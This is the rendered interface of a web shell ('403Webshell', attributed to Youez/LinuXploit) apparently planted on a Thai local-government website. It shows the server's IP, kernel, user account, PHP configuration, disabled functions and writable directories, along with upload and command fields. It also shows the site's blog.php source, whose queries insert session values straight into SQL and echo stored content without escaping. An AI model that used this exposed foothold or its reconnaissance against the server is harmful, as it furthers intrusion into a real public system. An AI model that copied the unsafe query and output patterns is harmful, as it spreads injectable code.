403Webshell
Server IP : 119.59.102.212  /  Your IP : 18.117.197.188
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/blog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/blog/blog.php
<?php
if ($id_sub == 0) {
  $data_name_menu_sub['name'] = "ติดต่อเรา";
}
$navig['blog'] = $data_name_menu_sub['name'];
navigator($navig);
echo "<br>";
bar_header($_SESSION['bar_name']); // Bar_Header
fieldset_top($_SESSION['bar_name']);

//########################## ข้อมูลทั่วไปของ อบต ###########
// cms_blog
$sql = "SELECT * FROM `cms_blog` WHERE id_sub=0";
$re = mysql_query($sql);
$data = mysql_num_rows($re);
if ($data == 0) {
  $sql = "INSERT INTO `cms_blog` (`id_blog`, `id_sub`, `fulltexts`) VALUES (NULL, '0', 'ประวัติ อบต.');";
  $re = mysql_query($sql);
}
// cms_menu_sub
$sql = "SELECT * FROM `cms_menu_sub` WHERE id_top=0";
$re = mysql_query($sql);
$data = mysql_num_rows($re);
if ($data == 0) {
  $sql = "INSERT INTO `abt`.`cms_menu_sub` (`id_sub` ,`id_top` ,`id_type` ,`name` ,`url` ,`position` ,`status`) VALUES ('0', '0', '1', 'ประวัติ อบต.', '0', '0', '0')";
  $re = mysql_query($sql);
}

//################### ติดต่อ อบต Contact_us ###########
// cms_blog
$sql = "SELECT * FROM `cms_blog` WHERE id_sub=9999";
$re = mysql_query($sql);
$data = mysql_num_rows($re);
if ($data == 0) {
  $sql = "INSERT INTO `cms_blog` (`id_blog`, `id_sub`, `fulltexts`) VALUES (NULL, '9999', 'ติอต่อ อบต.');";
  $re = mysql_query($sql);
}

if ($_SESSION['admin_web'] == "admin" and id_sub_permission($id_sub) == 1 and id_top_permission("e"))
  button_edit("index.php?mod=blog_update&path=blog"); // Edit_Data

else if (id_sub_permission($id_sub) and $_SESSION['admin_web'] != "admin")
  button_edit("index.php?mod=blog_update&path=blog"); // Edit_Data

else if (id_top_permission("e") and $id_sub == 0) {
  button_edit("index.php?mod=blog_update&path=blog"); // Edit_Data
}

$sql = "select * from cms_blog WHERE id_sub='$_SESSION[id_sub]'";
$result = mysql_query($sql);
$data = mysql_fetch_array($result);
echo"<table width='98%' align='center'>";
echo "<tr>";
echo"<td align='left'>$data[fulltexts]</td>";
echo"</tr>";
// file1
if ($data[file1] != "") {
  echo "<tr>";
  echo"<td align='center'><a href='$_SESSION[web_name]/mainfile/$data[file1]' target='blank'><img src='coremain/images/marker.gif' border=0> เอกสารประกอบ</a></td>";
  echo"</tr>";
}
if ($data[file2] != "") {
  echo "<tr>";
  echo"<td align='center'><a href='$_SESSION[web_name]/mainfile/$data[file2]' target='blank'><img src='coremain/images/marker.gif' border=0> เอกสารประกอบ</a></td>";
  echo"</tr>";
}
if ($data[file3] != "") {
  echo "<tr>";
  echo"<td align='center'><a href='$_SESSION[web_name]/mainfile/$data[file3]' target='blank'><img src='coremain/images/marker.gif' border=0> เอกสารประกอบ</a></td>";
  echo"</tr>";
}
echo"</table>";
fieldset_down();
?>


Youez - 2016 - github.com/yon3zu
LinuXploit